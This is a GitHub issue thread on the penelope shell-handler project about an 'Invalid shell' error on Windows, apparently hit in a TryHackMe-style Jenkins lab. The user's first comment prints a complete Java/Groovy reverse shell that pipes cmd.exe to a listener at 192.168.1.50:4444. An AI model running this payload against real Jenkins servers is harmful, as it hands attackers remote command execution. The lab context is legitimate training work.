brightio / penelope

Penelope Shell Handler
GNU General Public License v3.0
703 stars 93 forks source link

Moved from Discussions: Invalid shell #34

Closed TheAalCh3m1st closed 2 days ago

TheAalCh3m1st commented 2 weeks ago

I'm running a vulnerable vm hosting Jenkings, I have access to a CLI and use this code to execute a reverse shell successfully with nc -lvnp 4444

String host="192.168.1.50";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

When I execute this and expect to receive a reverse shell from penelope I get this error:

[-] Invalid shell from Butler.hsd1.ma.comcast.net~192.168.1.50

The box is Windows OS.

Originally posted by @TheAalCh3m1st in https://github.com/brightio/penelope/discussions/33

TheAalCh3m1st commented 2 weeks ago

I can provide a link to the downloadable vm for testing, the vm has the same setup as "Alfred" via TryHackMe if you have access.

brightio commented 2 days ago

Hi @TheAalCh3m1st, now it should work. Please tell me if you have the chance to test it again. Thanks for reporting that!